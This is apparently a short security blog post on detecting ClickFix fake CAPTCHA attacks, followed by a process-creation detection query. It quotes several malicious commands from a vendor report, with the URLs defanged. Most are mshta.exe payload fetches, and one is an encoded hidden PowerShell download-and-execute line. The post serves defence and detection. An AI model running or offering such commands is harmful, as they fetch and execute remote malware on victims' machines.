145. Detecting Fake CAPTCHA Attacks

Hello everyone!

I think you at least heard about fake CAPTCHA attacks. Yes, ClickFix again. The thing is - adversaries use fake CAPTCHA pages to trick users into executing malicious commands in Windows.

These pages mimic a legitimate human verification prompt and instruct users to paste a malicious command into the Run dialog (Win + R) as part of the “verification” process.

This Trend Micro report provides lots of examples of these commands we can use to build detections:

mshta.exe hxxps://ernier[.]shop/lyricalsync[.]mp3 # ''Ι am nοt a rοbοt: САРТСНА Verification UID: 885203

mshta.exe hxxps://zb-files[.]oss-ap-southeast-1[.]aliyuncs[.]com/DPST_doc.mp3 #  ''Ι am nοt a rοbοt: САРТСНА Verification UID: 815403

mshta.exe hxxp://ok[.]fish-cloud-jar[.]us/ # "Authentication needed: Secure Code 3V8MUR-9PW4S"

mshta.exe hxxps://x63-hello[.]live/nF3mXcQ9FVjs1sMt[.]html #'' I'm human ID241619''

cmd /c "powershell -w h -e aQBlAHgAKABpAHcAcgAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwB2AGkAZQB3AGUAcgAtAHYAYwBjAHAAYQBzAHMALgBjAG8AbQAvAGkAbgAuAHAAaABwAD8AYQBjAHQAaQBvAG4APQAxACcAKQA=" && ✅ I am not a robot - reCAPTCHA ID: 7845

As you can see, the threat actors usually abuse mshta.exe and powershell.exe, and commands include keywords like "not a robot", "captcha", "secure code" and "human".

Let's use it to build our detection logic:

event_type: "processcreatewin"

AND

proc_file_name: ("mshta.exe" OR "powershell.exe")

AND

cmdline: ("not a robot" OR "captcha" OR "secure code" OR "human")

See you tomorrow!

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